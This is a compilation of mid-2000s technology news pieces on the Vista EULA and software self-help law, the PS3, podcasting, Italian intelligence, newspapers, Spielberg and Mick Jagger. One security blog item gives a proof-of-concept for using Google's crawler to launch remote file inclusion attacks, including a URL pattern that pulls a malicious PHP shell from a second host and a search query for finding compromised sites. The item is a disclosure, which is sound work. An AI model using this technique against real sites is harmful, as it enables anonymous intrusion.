The terms of the Vista EULA, like the current EULA related to the “Windows Genuine Advantage,” allows Microsoft to unilaterally decide that you have breached the terms of the agreement, and they can essentially disable the software, and possibly deny you access to critical files on your computer without benefit of proof, hearing, testimony or judicial intervention. In fact, if Microsoft is wrong, and your software is, in fact, properly licensed, you probably will be forced to buy a license to another copy of the operating system from Microsoft just to be able to get access to your files, and then you can sue Microsoft for the original license fee. Even then, you wont be able to get any damages from Microsoft, and may not even be able to get the cost of the first license back.
Product activiation in the Vista license

Suppose you buy a new computer after January 2007, or purchase an early upgrade for one of the various flavors of Vista. The first problem is, you may think you bought a copy of the operating system. Actually, the OS is still owned by Microsoft. You may own a physical DVD, but what you have “bought” is the right to use the software subject to any of the terms and conditions of the End User License Agreement (EULA), which you may or may not have access to at the time you buy the computer or disk. Typically, the EULA will be contained in micro-print on the outside of a DVD, or may be on a splash screen that prompts you to unequivically declare, “I agree..” as a condition precedent to installing or booting the software. Courts have pretty much established that this manner of acquiescence is okay, provided that there is some way for you to get your money back if you don’t agree to the EULA.

The Vista EULA informs the licensee that Vista will automatically send information about the version, language and product key of the software, the user's Internet protocol address of the device, and information derived from the hardware configuration of the device.

The EULA ominously warns that “Before you activate, you have the right to use the version of the software installed during the installation process. Your right to use the software after the time specified in the installation process is limited unless it is activated. This is to prevent its unlicensed use. You will not be able to continue using the software after that time if you do not activate it. ” What does this mean? Essentially, if you buy a license to the software from a reputable dealer, but choose not to transmit information to Microsoft, you forfeit your ability to use the licensed software.

What is interesting is not whether you have the right to use unactivated-but-properly-purchased software, but how Microsoft enforces its right. What Microsoft says is that the software will simply stop working. So, where is the proof that the software is not activated? Who has the burden of proof? What if you assert that you did activate the product, but Microsoft claims you did not? What if you attempt to activate the product, but Microsoft’s servers are down, or they provide improper information, or their servers are hacked and give you bad activation information? What the contract states is that unless you can activate the product (irrespective of whose fault it is that you cannot activate), you forfeit your right to use the product, and therefore access to any of the information on any computers using the product.

The license is also silent on what happens after you fail to activate the product. Is there a mechanism for you to at least open the product to allow you to activate it, or do you get a Blue Screen of Death? Since their objective is to ensure that the product is activated, presumably they will allow you to at least get an Internet connection and take you to an activation screen.

Once you activate the product, then you would assume that you are golden to go ahead and use the product, right? Wrong.

You see, even after you activate the software it will, according to the EULA, “from time to time validate the software, update or require download of the validation feature of the software.” It will once again “send information about the . . . version and product key of the software, and the Internet protocol address of the device.”

Here’s where it gets hairy again. If for some reason the software “phones home” back to Redmond, Washington, and gets or gives the wrong answer - irrespective of the reason - it will automatically disable itself. That's like saying definitively, “I’m sorry Dave, I’m afraid I can’t do that...” Unless you can prove to the satisfaction of some automoton that the software is “Genuine,” or more accurately, that under the relevant copyright laws that you have satisfied the requirements of the copyright laws and all of the terms of the End User License Agreement, the software will, on its own, go into a “protect Microsoft” mode. Besides placing an annoying “Get Genuine” banner on the screen, and limiting your ability to get upgrades, the EULA warns that “you may not be able to use or continue to use some of the features of the software.” The EULA itself does not state which features these are, but the website advises that, unless you can show that you are genuine, you won’t be able to use Windows ReadyBoost(tm), whcih lets users use a removable flash memory device; the Windows Aero(tm) 3D visual experince; or the Windows Defender anti-spyware program.

But the contract doesn’t limit Microsoft to these disabling attributes. It just says that they have the right to limit your ability to use features - pretty much any features they decide to at any date. And guess what. You agreed to it.

EULAs and the legal term “self help”

Now let’s face it: lots of software products contain features that disable themselves upon some condition. For example, trial software will work for a period of time - say 30 days, and then stop. And you agree to that when you download and/or install it. It says so right in the EULA. Spyware contains EULAs where you agree not to disable or delete it. Are you bound by that contract as well? As discussed previously, the answer is not so clear. Sony got into trouble by putting very restrictive EULA terms on its music/data CDs, which gave it a bunch of rights just cause you decided to listen to music - including your agreeing never to listen to the music overseas. As I noted earlier, the terms of an EULA are generally considered to be enforceable even if you didn’t read it, understand it, or have any ability to negotiate it.

However, there is another principle in the law. If a contract (for example, an EULA) is breached, then you have to right to sue and to collect damages. Generally, you would have the burden of proving a breach of the contract, and prove the existence of some damages, and then possibly the right to obtain other kinds or relief - like an injunction or other court order. In addition, other statutes, like the U.S. or international copyright laws may give companies like Microsoft other rights and remedies, including access to federal court and statutory damages, and even possible criminal enforcement by the FBI.

Now if Microsoft breaches the contract it wrote, the Vista EULA, what are your rights? Well, according to the terms of the agreement you agreed to, “you can recover from Microsoft and its suppliers only direct damages up to the amount you paid for the software. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.” So if your entire network is shut down, and access to all your files permanently wiped out, you get your couple of hundred bucks back - at most. And, as far as I can tell, there are no warranties on the license, no assurance (like the kind you would get on a toaster oven or a lamp) that the thing actually works or does any of the things advertised. What is worse, if you just want to get your money back (assuming Microsoft doesn’t want to give it to you) then you have to file a lawsuit (probably in Redmond, Washington) under the laws of Washington State, and if (and only if) you can prove your case, and your damages, can you get your money back. You aren’t entitled to, upon your belief that there was a breach of contract, simply walk up to the cash register at your local Fry’s or Best Buy and take a couple of hundred bucks from the till. This is called “self help” (or theft) and is not generally allowed as a contract remedy.

But the Microsoft Vista EULA, like many other software license agreements, gives the owner of the software (remember that's Microsoft because you didn’t buy it, you just licensed it) the right of self-help. They have the right to unilaterally decide that you didn’t keep up your end of the contract, for example you didn’t properly register the product, you weren’t able to demonstrate that it was genuine, and so on, and therefore they have the right to shut you off or shut you down. So, what gives them the right? Apparently, the very contract that they now claim you violated.
Case law examples of software being disabled after a dispute

In the early days of computers, there were several cases where software developers determined that licensees didn’t make appropriate payments and therefore shut down the computer programs.

In 1988 in Franks & Sons, Inc. v. Information Solutions, Inc. the software developer installed a “drop-dead” code in the program. When the customer failed to pay as promised, the developer activated (or allowed to be activated) the drop-dead code, which kept the customer from accessing the software as well as any stored information. The problem was that the customer didn’t know about the drop dead code. Under those circumstances, the court found that it would be “unconscionable” to allow the software developer to hold the licensee ransom, essentially using self-help to shut down the business until he was paid. The court noted:

Public policy favors the non-enforcement of abhorrent contracts. Here, without the knowledge of Plaintiff, Defendants have included a surprise in their product which chills the functioning of any business whose operation is a slave to the computer. If the Plaintiff had known about this device at the time it entered into the contract with the Defendant then the result would be different. Here it would be unconscionable for the Court to give credence to this economic duress.

However, it wasn’t clear whether the sole problem in that case was the fact that the “drop-dead” software was not disclosed, or that the developer, by using the undisclosed code, was holding the licensee hostage.

In 1991, in American Computer Trust Leasing v. Jack Farrell Implement Co., 763 F. Supp. 1473 (D. Minn. 1991) the software developer, in a dispute over payment for the software, remotely deactivated the software. The contract provided that the developer, who owned the software, could remotely access the licensee’s computer in order to service the software and that if the licensee defaulted, the agreement was cancelled. When the licensee didn’t pay, the developer told them that they were going to deactivate the program - which they promptly did. The licensee’s lawsuit for damages failed because, the court noted, the deactivation was "merely an exercise of [the developer’s] rights under the software license agreement . . . ." This was true even though the agreement did not specifically state that self-help was a proposed remedy.

There were many other cases in the late 80’s and early 90’s involving software developers either putting drop-dead code in their products or remotely disabling code when they thought the other party was in breach. Thus, a Dallas medical device software developer was sued in 1989 (the case was settled) for using a phone line to deactivate software that compiled patients’ lab results. In 1990, during a dispute about the performance of a piece of code, the developer simply logged in and removed the code, until the licensee released the developer from any liability. The licensee claimed that the general release was signed under duress, since he was being held economic hostage. This was Art Stone Theatrical Corp. v. Technical Programming & Support Systems, Inc. 549 N.Y.S.2d 789 (App. Div. 1990).

In another case widely reported, a small software developer, Logisticon, Inc., installed malware within software delivered to cosmetic company Revlon, which paralyzed Revlon's shipping operations for three days (losses were about $ 20 million U.S.) when the developer claimed that Revlon breached the contract. Logisticon simply claimed that this was an “electronic reposession.” The case was settled out of court.

In the 1991, the case of Clayton X-Ray Co. v. Professional Systems Corp., 812 S.W.2d 565 (Mo. Ct. App. 1991), a company likewise involved in a payment dispute, logged into the licensee’s computer and disabled the software which they owned. When the licensee tried to log on to see their files, all they saw was a copy of the unpaid bill. A jury awarded the licensee damages, partly because the existence of the logic bomb was not disclosed.

Finally, in Werner, Zaroff, Slotnick, Stern & Askenazy v. Lewis 588 N.Y.S.2d 960 (Civ. Ct. 1992), a law firm contracted with a company to develop billing and insurance software. When the software reached a certain number of bills (and when the developer decided it had not been paid) it shut down, disabling access to the law firm’s files. The law firm successfully sued, and got punitive damages.

So what is the lesson from all of these cases? First, if you exercise “self help” without telling the purchasor, you may open yourself up to damages. Does the Microsoft EULA adequately tell you what will happen if you don’t activate the product or if you can’t establish that it is genuine? Well, not exactly. It does tell you that some parts of the product won’t work - but it also ambiguously says that the product itself won’t work. Moreover, it allows Microsoft, through fine print in a generally unread and non negotiable agreement, to create an opportunity for economic extortion. Remember, all the cases from the 80’s and 90’s involved sophisticated parties (on both sides) who negotiated individual license agreements - not mass market software.
Balancing the rights of all parties

After this series of cases, many states considered reforming the Uniform Commercial Code to specifically cover those situations when a software developer can resort to self-help. As a result of these efforts, two states, Maryland and Virginia enacted versions of the Uniform Computer Information Transactions Act (UCITA).

The Maryland version of the statute allows the software vendor to obtain a court order that allows it to disable the software, or “[o]n material breach of an access contract or if the agreement so provides, [to] discontinue all contractual rights of access of the party in breach. . . ” In other words, the software vendor can only terminate access to the software if there has been a material breach, if doing so does not result in a breach of the peace, if there is no foreseeable risk of personal injury or significant physical damage to information or property.

The UCITA also provides a procedure for “electronic self-help” - that is, the termination of access or use of the software without a court order. The first thing to note is that, in Maryland at least, the law expressly notes that, “electronic self-help is prohibited in mass-market transactions.” Microsoft’s EULA is undoubtedly a mass-market transaction, and therefore Microsoft may be prohibited from exercising self-help in Maryland. Moreover, even in non mass-market transactions, before you can resort to self-help, the contract must provide notice that self help will be used, who will be told about the exercise of self help, and provide other notice. The Maryland law also provides that “electronic self-help may not be used if the licensor has reason to know that its use will result in substantial injury or harm to the public health or safety or grave harm to the public interest substantially affecting third persons not involved in the dispute.”

Thus, the harm to Microsoft (not getting a license fee) may be disproportionate to the harm to the licensee in having their systems completely shut down. This is particularly true if Vista is being used for a system providing medical treatment, controlling a power plant, or other such critical infrastructure. The Maryland law expressly provides that the “rights or obligations under this section may not be waived or varied by an agreement. . .”

Microsoft may have some trouble if it tries to enforce its EULA terms in a court in Washington State - especially if that court is running a computer using Vista. You see, all software license agreements with the courts in Washington State contains a “no self-help code” warranty where the vendor warrants that there is no “back door, time bomb, drop dead device, or other software routine designed to disable a computer program automatically with the passage of time or under the positive control of a person other than a licensee of the Software.” Thus, the Vista EULA terms would not apply to the Washington State courts!

Now Microsoft will invariably deny that what they are doing is “self-help.” More likely, they will claim that the disabling provisions of the software are mere “features” of the software. They will also argue that the licensee controls whether or not the code disables by either registering, or “getting Genuine.” But what the boys in Redmond are really doing is deciding that you have not followed the terms of a contract (the EULA) and punishing you unless and until you can prove that you have complied.

And what if Microsoft is wrong, and they disable your software erroneously? Well, you can keep buying and activating their software until you are successful. And that means more fees to Redmond. Or, following the movie “Happy Feet,” you can decide to find software with a little penguin on it.
http://www.securityfocus.com/columnists/423





Bill O’Reilly Slams PS3 Launch, Gamers, iPods, Digital Tech

Apparently sparked by the PlayStation 3 launch, conservative pundit Bill O’Reilly took off after video game culture and digital technology generally in yesterday’s Radio Factor.

The controversial talk show host, who advertises his program as a “no spin zone” offered the following spin on gamers and much of their favorite gear:

American society is changing for the worse because of the machines… In the past to flee the real world people usually chose drugs or alcohol… now you don’t have to do that, Now all you have to do is have enough money to buy a machine…

Basically what you have is a large portion of the population, mostly younger people under the age of 45, who don’t deal with reality - ever. So they don’t know what day it is; they don’t know temperature it is; they don’t know what their neighbor looks like. They don’t know anything… because they are constantly diverted by a machine. Now what this does is it takes a person away from reality because they’ve created their own reality…

Here comes the PS3 rant:

The newest thing is the PlayStation 3. Now this is a machine that allows you to play games in hi-def and all this other stuff… It’s the newest state of the art system from Sony…. It has a video game console, plays DVDs, connects you to the Internet, tells you how handsome you are. It’s six-hundred bucks. Now people lined up for hours to get this thing. Hours!

Next, O’Reilly recounts some of the various, well-publicized incidents that took place on PS3 lines around the country, before launching into:

The problem with this stuff is that some people can deal with it constructively… but other people get addicted to it, just like opium, just like drugs and alcohol… So this is a big, big problem. It’s going to change every single thing in this country.

At about this point, O’Reilly has Blois Olson of the National Institute on Media & the Family on as a guest. Olson talked about some issues regarding video game addiction, but was quite reasonable. As for O’Reilly? He thinks your video gaming may well doom you to a life of poverty:

The have-nots are growing. Why are they growing? Because the skill set that is necessary to earn a decent living is being deemphasized in a fantasy world of football games and shooting zombies and all that…. Now you have the “knows” and the “know-nots”, because if you spend all your youth being prisoners of machines….. you’re not going to know anything…. You’re gonna fail.

And, even though O’Reilly’s pay site offers a podcast, the pundit rather curiously disses the iPod and seems to equate video gaming with national collapse:

I don’t own an iPod. I would never wear an iPod… If this is your primary focus in life - the machines… it’s going to have a staggeringly negative effect, all of this, for America… did you ever talk to these computer geeks? I mean, can you carry on a conversation with them? …I really fear for the United States because, believe me, the jihadists? They’re not playing the video games. They’re killing real people over there.
http://gamepolitics.com/2006/11/18/b...in-that-order/





Sony: Consoles Can Aid Medical Research
Hiroko Tabuchi

The new PlayStation 3 isn't all about entertainment. That's the message Sony Corp. is trying to convey in announcing that the new game consoles - as powerful as supercomputers - can help Stanford University researchers analyze complex human protein structures and perhaps find cures for cancer, Alzheimer's and other ailments.

Thousands of die-hard gamers and entrepreneurs lined up last week to buy the sleek PS3 machines when they went on sale in the United States on Friday. Police had to disperse rowdy crowds at some stores, and in Connecticut, authorities said two armed men tried to rob waiting customers and shot a man who refused to give up his money.

Sony Computer Entertainment says that when Cure(at)PLAYSTATION 3 is launched, PS3 owners can register their machines with Stanford, download specially designed software and leave their machines online to process data when they're not playing.

It's modeled after programs where personal computers process high-volume data for signs of extraterrestrial life and other tasks. PCs already contribute to the Stanford medical research program.

Sony said data processing time can be up to 20 times faster with a global network of PS3s, which are fitted with advanced Cell processors that can perform billions of calculations per second.

The program will kick off after the PS3 becomes available globally. PS3s already are on sale in Japan, Hong Kong, Taiwan and the United States; the European launch was delayed until March because of production problems.
http://hosted.ap.org/dynamic/stories...11-21-18-43-47





Sony Is a File Sharing Thief

What with its continuing incendiary batteries and rootkit spyware disasters, you’d think Sony was in enough trouble.

But Vivendi is in effect claiming Sony is something it and its Big Four Organized Music cartel colleagues (of whom Vivendi is one) accuse their own customers of being.

The people who run Sony are "criminals" and "thieves," says Vivendi’s Universal Music Group, to all intents and purposes.

Sony’s Grouper application gives users a way to share music videos with each other and, in entertainment and software cartel parlance, that’s a criminal offence not even second to murder and rape.

Sony, however, is dismissing the UMG allegations.

"In a filing with the U.S District Court in Los Angeles on Tuesday, Grouper denied the copyright-infringement allegations and said Universal was using the lawsuit to boost a rival video-sharing site in which it has a stake," says Reuters, going on:

"Universal, owned by French media group Vivendi and the world’s largest music company, has been leading an aggressive drive to get paid for all uses of its works on new digital services over the Internet."

Grouper, "denied it was engaged in mass copyright infringement and said that - like other such sites - it cannot prevent third parties from violating the company’s terms of service that prohibit copyright infringement," says the story.

Interestingly, the entertainment cartels, with the Big Four Organized Music family in the lead, are using the US Supreme Court Grokster decision to kill independent p2p sites so they can later be resurrected as corporate p2p distribution systems.

Grokster says companies are liable for what users do with the software.

"Grouper also said it was fully compliant with the Digital Millennium Copyright Act and was carrying out the requests of copyright owners to remove materials that users may have improperly uploaded to the site," says Reuters.

"Individually and collectively, through the Recording Industry of America (the ’RIAA’) and other organizations and companies," the Big Four have engaged in unfair business practices, "for the specific purpose of eliminating sources of decentralized peer-to-peer file sharing and acquiring a monopoly over digital distribution of commercially valuable copyrighted music and movie content," says LimeWire, one of the independents being attacked.

In a court document, "In fact, these same persons and entities have been both secretly and publicly engaged in promotion of their own digital distribution technologies which permitted exchanges of copyright infringing files, such as instant messengering, email and other similar technologies only, in each case engineering the technologies to use a central server thus retaining for themselves the same knowledge and control held by Napster," says the company.

Vivendi’s Universal also sued News Corp for alleged MySpace copyright infringement, and not only but also, UMG’s Doug Morris said GooTube consistently violated music industry copyrights, just before it and Google reached an accord.
http://www.agoravox.com/article.php3?id_article=5350





Study Finds Podcast Use Rising But Small
AP

A growing number of Americans are listening to podcasts, but very few do so every day.

The Pew Internet and American Life Project said Wednesday that 12 percent of Internet users have downloaded a podcast, an increase from 7 percent earlier in the year.

However, only about 1 percent said they download a podcast on a typical day - unchanged from the survey earlier this year. The rest do so less frequently, perhaps only once.

Podcasts are typically sound files that can be played on personal computers, TiVo Inc.'s digital recorders and music players such as Apple Computer Inc.'s iPod. Many are regularly scheduled and automatically delivered, and more recently some have incorporated video.

News organizations such as National Public Radio and The Associated Press offer news podcasts throughout the day, while amateurs have produced podcasts once or twice a week to discuss their favorite television shows, among many other subjects.

"While podcast downloading is still an emerging activity primarily enjoyed by early adopters, the range of content now available speaks to both mainstream and niche audiences," said Mary Madden, senior research specialist at Pew. "We are at a crossroads of a major transition in the way media content is delivered and consumed."

Men and online veterans are more likely to download podcasts, according to the telephone survey of 972 adult Internet users, which was conducted Aug. 1-31 and has a margin of sampling error of plus or minus 3.5 percentage points. The previous survey was conducted February to April.
http://hosted.ap.org/dynamic/stories...11-22-12-26-10





Purdue Streams a Movie At 7.5Gb/sec
kdawson

the_psilo writes,
"My friend just got back from the Supercomputing conference in Tampa, FL where she and the rest of the Purdue Envision Center rocked the High Performance Computing Bandwidth Challenge by streaming a 2-minute-long, 125-GB movie over a 10-Gb link at 7.5 Gb/sec. They used 6 Apple Xserve RAIDs connected to 12 clients projecting onto their tiled wall (that's 12 streams in all). Lots of accolades from the people who set up the challenge. More links to articles and reviews can be found at the Envision Center Bandwidth Challenge FAQ page."

The two-minute video is a scientific visualization of a cell structure from a bacterium. The Envision Center site hosts a reduced version of the video.
http://it.slashdot.org/it/06/11/21/1942220.shtml





Italy Changes Spy Boss Amid Scandal

The Italian government has replaced the heads of the country's embattled secret services, including one at the center of allegations of involvement in a CIA kidnap of a terrorism suspect.

The government on Monday named the Navy's fleet commander, Vice Admiral Bruno Branciforte, to head the SISMI military secret services, replacing Nicolo Pollari.

"We selected people above the fray and political games, with great experience in the sector and great professional success," said center-left Prime Minister Romano Prodi.

Prodi, who took office in May, described it as a "natural rotation" that swapped heads of intelligence agencies he inherited from the previous center-right government.

But the shakeup also came amid talk of Pollari's possible indictment and happened just days before the release of a parliamentary report widely expected to criticize SISMI.

"How can we escape doubts that leaks (about the upcoming report) paved the way for Gen. Pollari's replacement?" asked Alfredo Mantovano, a member of parliament's intelligence oversight committee.

Pollari and SISMI are at the center of several scandals, including allegations they helped the U.S. Central Intelligence Agency kidnap a terrorism suspect in Milan in 2003 and paid journalists to plant stories and spy on magistrates.
State secrets

Prosecutors say Hassan Mustafa Osama Nasr was grabbed off a Milan street, driven to a U.S. airbase in northern Italy and then flown to Egypt, where he claims he was tortured.

They have issued preventative arrest warrants against 26 Americans and suspect that prominent Italian spies, including Pollari, helped them kidnap Nasr, who is also known as Abu Omar.

If a judge authorizes a trial, it would be the first criminal prosecution anywhere in the world for "renditions," one of the most controversial aspects of U.S. President George W. Bush's global war on terrorism.

Pollari has denied any wrongdoing but has refused to cooperate with magistrates, saying documents he needs to defend himself were made state secrets by the previous center-right government and kept classified by Prodi.

Prodi, who has tried to distance himself from the Abu Omar case, travels later on Monday to Egypt. Nasr has been held in a Cairo prison without charges, according to his lawyer.

Branciforte was once naval attache in Washington, Italy's representative to the U.S. Central Command and the director of naval intelligence. The government also named Franco Gabrielli, a former Rome police chief and anti-terrorism expert, to be new head of the SISDE civilian secret services.

Giuseppe Cucchi, head of a military strategy think tank, will head the national intelligence coordinating committee.
http://edition.cnn.com/2006/WORLD/eu...ly.spies.reut/





Online Journalism News

"It's Counter Productive and a Waste of Time to Focus on Rights Recovery"
Oliver Luft

Robert Cauthorn is the president of CityTools. Here he talks about why 'having a conversation with Google' and other rights recovery ideas are not the answer for newspapers wanting to get the best value out of news and classifieds.

It's not simply naïve to focus on rights recovery; it's counter productive and a waste of time. The cat is out of the bag and what you now have to do is think about how you are going to wrest control to your team, not relying on the courts for payment schemes or anything like that.

Change your business practices to address the new world.

Let's create a brand new product that is smarter than the existing products because no one is ever going to win and recover rights from Google. That's like saying you're going to monetise linking - it's unrealistic.

How are you going to say that they can't cut a link over? The same link that everyone else cuts on the internet? How do you go to Digg and say a reader has posted this as an interesting link but we don't want that traffic. It's crazy.

The entire web is based on linking, for heavens sake. If you have a big problem with that, it's probably best to just shut down your website because you fundamentally don't want to be on the web. That's one way to show Google who is boss!

Being on the web and whining about anyone linking to your content is like complaining about people talking about your content because it might suppress a sale if someone overhears the gist of a story. If you publish a book, you shouldn't start bitching about the existence of libraries. If you get on the web, you shouldn't start complaining about people linking to your content. Let's move on, shall we?

Besides, Google's response to the payment rights idea can easily be 'we should charge you for all the traffic we send you because you monetise that with advertising'.

The more interesting argument [for newspapers] would be to say 'let's create smart networks where we creatively combine our content with that of other publishers and the only place you can get that unique mix is on one of our member sites'.

Each one of those sites is then different based on its relationships - each one is special and designed specifically for its readers.

The challenge is whether newspapers understand what a big philosophical leap this is and what a substantial opportunity it presents.

Some media leaders don't think in these terms and the idea of sharing and working together might be scary. They want to do the business in the way it has been done for the past hundred years. Guess what, those days are past.

Let's roll this forward a year or two where a newspaper might belong to 10 or 15 distinct news networks and a couple of distinct classified networks. It would mean there would be a lot of foreign content flowing into the newspaper's website - all selected and organised by smart, modern editors in a smart, modern package.

What happens then is that these newspapers will start to develop a critical mass that can compete with Google.

They develop critical mass in a very interesting way because the majority of news is focused on the interests of the local market and what these individual newspapers are doing is making creative decisions on the content that is relevant to their readers.
Google gives you mass aggregation but it is also like a shotgun approach. It hits you with all sorts of stuff that does not matter to you.

If you spin the smart networks model forward, you can go to your local newspaper website and, because it has built smart relationships with other publishers, you get reliable content and the same kind of mass as Google. But the difference is it's all relevant to the local readership.

I believe this shift in the market place will take place in the mind of the consumer and the publisher because individual newspapers and individual readers can make the best decisions on what content is relevant to them.

This is the anti-commodification argument. It's saying that every newspaper becomes unique based on its relationships and its networks.

Instead of newspapers limiting themselves to their local content and the wire services, they move to a position where they have their local content and this incredibly rich mixture of content from all the different newspaper networks that they belong to as well as citizen journalism through a public interface.

When you get to this point, it starts to get very, very interesting because it's not something that has been visited before in the industry.

Of course, the readers win because they get better content that is more complete and more diverse. If we concentrate more fully on serving the readers, our advertisers win too. If our readers and our advertisers win, then we win as well, don't we?

Hand-wringing sessions on rights-recovery issues because of web linking divert our focus away from the reader and the advertiser, neither of whom cares one whit about the matter.

We're better off attending to the real job, telling the stories, collecting the stories, providing insight and entertainment and information and being paid for it by happy advertisers and happy readers. We can do our jobs in brave new ways in a brave new world, but to do so one must move forward, not in circles.
http://www.journalism.co.uk/news/story3086.shtml





Anonymizing RFI Attacks Through Google
Noam Rathaus

Google can be utilized to hack into websites - actively exploiting them (not information gathering by the use of “Google hacking”, although that is how most of the sites vulnerable to RFI attacks are found).

By placing a URL on any web page, Google will find it, visit it and then index it. With this mechanism, it is possible to anonymize attacks on third party web sites through Google by the use of its crawler.

PoC -
A malicious web page is constructed by an attacker, containing a URL built like so:
1. Third party site URI to attack.
2. File inclusion exploit.
3. Second URI containing a malicious PHP shell.

Example URL:
http://victim-site/RFI-exploit?http:...cious-code.php

Google will harvest this URL, visit the site using its crawler and index it.
Meaning accessing the target site with the URL it was provided and exploiting it unwittingly for whoever planted it. It’s a feature, not a bug.

This is currently exploited in the wild. For example, try searching Google for:
inurl:cmd.gif

And note, as an example:
http://www.toomuchcookies.net/index....om/CMD.gif?cmd
Which is no longer vulnerable.

Why use a botnet when one can abuse the Google crawler, which is allowed on most web sites?

Notes:
1. This attack was verified on Google, but there is no reason why it should not work with other search engines, web crawlers and web spiders.
2. File inclusions seem to tie in well with this attack anonymizer, but there is no reason why others attack types can’t be used in a similar fashion.
3. The feature might also be used to anonymize communication, as a covert channel.

http://blogs.securiteam.com/index.php/archives/746





Spielberg Calls for Responsible TV
Paul J. Gough

Steven Spielberg urged TV networks to be mindful of what they show on the air because of the effect it might have on children, and said programs like "CSI" and "Heroes" were too gruesome.

"Today we are needing to be as responsible as we can possibly be, not just thinking of our own children but our friends' and neighbors' children," Spielberg told an audience Monday at the International Emmys board of directors meeting here.

Spielberg decried on-air promotions for television shows like "CSI: Crime Scene Investigation" that showed "blood and people being dissected." He also said that when his favorite TV show of the new season, NBC's "Heroes," showed someone cut in half in the 9 p.m. hour, he sent his younger children out of the room.

"I'm a parent who is very concerned," he said.

Spielberg said that the TV landscape was much more "homogenized" 20 years ago, even seven or eight years ago. One of his shows, "ER," wouldn't have been on the air 20 years ago because of its graphic depictions.

Two of Spielberg's movies, "Schindler's List" and "Saving Private Ryan," have generated controversy during their television airings with uncut language and graphic depictions. But Spielberg has also made a famous edit to the DVD release of "E.T.: The Extra-Terrestrial," where a government agent wielded a gun in the original film and then held a walkie-talkie in the DVD.

In a free-ranging hour of interview with former NBC News correspondent Garrick Utley and questions from the audience, Spielberg said iPod video may be all the rage but count his films out from tailoring his films to fit the small screen.

"That's one medium where I have to draw the line," he said. "We'll shoot for television and the movies and let there be a wide gap" between that and the small 3-inch screen. He also said that he felt that people are social animals who will choose to go out to a movie rather than watch a show on widescreen.

"I don't think movie theaters will ever go away," Spielberg said.

But the producer-director who got his start in TV directing Joan Crawford for a 1969 episode of Rod Serling's "Night Gallery" isn't lacking for work on screens of any kind. He's developing a 10- or 11-hour miniseries about the U.S. war against Japan in the Pacific Theatre during World War II, part of the 20% of his time that he estimated he worked on TV projects compared with 80% for films.

He called working on miniseries "the most fun I have" and especially liked the ability to develop characters. He pointed to HBO's "Band of Brothers," which developed characters over hours rather than the eight to 10 minutes that he said was available in a two-hour feature film.

Another project is "On the Lot," a Mark Burnett-Spielberg TV series that will choose one of 16 aspiring filmmakers for a development deal with DreamWorks, Spielberg's studio. It will air on Fox. And of course there's another film coming in the "Indiana Jones" series, which Spielberg was relatively mum about.

"There's still life in the series," Spielberg said.
http://today.reuters.com/news/articl...src=rss&rpc=22





Still Rocking His Own Look
Guy Trebay

IN an era of music careers created in the democratic nowhere of MySpace, where the members of hot bands dress as if they were office temps, the days of the rock show as spectacle and the rock star as circus star are unquestionably numbered.

Yet arena rock, at least, still has a certifiable god in Mick Jagger. And, as the Rolling Stones blew through this honky-tonk beachfront city last week on the last leg of its Bigger Bang tour, Mr. Jagger gave a performance that was a master class in the genre.

As lithe as a boy, Mr. Jagger seems to defy age. At least he does below the waist. Grooved and sunken, his weather-beaten face betrays every second of his 63 years and this makes it all the more startling when he prances and postures like some curious and gorgeous superannuated Pan.

It is Mr. Jagger’s persona that a Stones show is clearly built upon, and Mr. Jagger who inspires fans to travel great distances, blow the rent money on tickets and follow the Stones to the ends of the earth.

The music draws them, too, of course, but there are few sights in entertainment as compelling as Mr. Jagger’s almost vaudevillian brio, his eccentric presentation and his achingly singular style.

“Mick Jagger has been living on the style edge since 1966,” said Joe Levy, the executive editor of Rolling Stone. “The edge keeps moving and so does he.”

Even a cursory trip through the archives of fashion makes clear that whenever designers as unalike as Roberto Cavalli and Tommy Hilfiger invoked some emblematic rock star, or rocker “icon,” or rocker “rebel,” Mr. Jagger was the point of reference.

Bowie was stylish. Bryan Ferry looked good in a suit. But it was Mr. Jagger who preened himself in a Mephistopheles cloak at Altamont; wore Ossie Clark jumpsuits split to the navel; and who appeared in a flounced neoclassical Grecian-style jacket to read Shelley at a concert after Brian Jones’s death.

It was Mr. Jagger who flaunted billowing trousers designed by Giorgio Sant’Angelo, “mad things, beautiful things,” as Tony King, Mr. Jagger’s media coordinator for four decades, said last week. “From the start the Stones had kind of their own look,” Mr. King explained before heading from Manhattan to New Jersey for the Bigger Bang show. “They were very much not the Beatles, four guys wearing the same suits.”

In truth the Stones dressed identically in their very earliest incarnation, wearing the matching suits that were the boy-band uniform of the British Invasion. That they ditched these in favor of dressing as rowdies or dandies or rough trade or women probably owes more to Mr. Jagger, a lifelong clotheshorse, than to any other member of the band.

“It was in 1969, when the Stones made ‘Gimme Shelter,’ when all of a sudden there became a need to have a look for a tour,” Mr. King said.

It was also about that time when Mr. Jagger and his bandmates began affecting eyeliner and the dangling earrings that would eventually provide Johnny Depp with the visual cues for the character Jack Sparrow, his “Pirates of the Caribbean” homage to Keith Richards-as-dandy, a characterization that helped make a multimillion-dollar franchise out of a dull cinematic cartoon.

Even as far back as 1975, when Karen Durbin wrote a Village Voice cover article about the Rolling Stones, she was not alone in pointing out the gender games Mr. Jagger was already playing through clothes. “He was very, very androgynous,” said Ms. Durbin, now a film critic for Elle magazine, and so avid a fan she claims to have seen the Stones 22 times. “But he was also simultaneously a little scary, a little hard and indisputably masculine.”

Mr. Jagger’s onstage dualities were not accidental, said Ms. Durbin. “It was all deliberate.”

Nowadays, of course, gender blur is a karaoke setting in the music business. At some point everyone in a band has put on eyeliner, except perhaps the girls.

And while groups as unalike as the Libertines, say, or the Scissor Sisters, or the Strokes or the Killers or the Hives, or My Chemical Romance continue to pay homage, not always ironic, to the rock star as dandified satyr, the much greater shift in the music business is away from Rolling Stones-style theatricality and toward something more neutral, amateurish and anonymous.

“We would never get all costumed up,” Mitch DeRosier, a musician with the indie band Born Ruffians, said by phone last week from Portland, Ore., where the group was on tour with Hot Chip. “I don’t go out of my way that much.”

Talk to a member of almost any band created in the emo era and one would hear more or less the same thing. “I like the Rolling Stones and I’m a huge fan of their music,” said Seth Olinsky, a musician in the exuberantly frumpy Brooklyn-based indie band Akron/Family. “But the sexy-strut dude is not the image I choose to be important to me.”

As an expression of style, grunge has been quoted so liberally by now that it rates a mile marker on the timeline of fashion. Yet compared with the look lately favored by young bands, grunge has come to seem almost baroque.

And as that has happened, so has Mr. Jagger’s form of personal display been refined to the extent that he is like an essence of rock star: skinny jeans and cropped jackets by the Balenciaga designer Nicolas Ghesquiere; tight glittering T-shirts by the Dior designer Hedi Slimane.

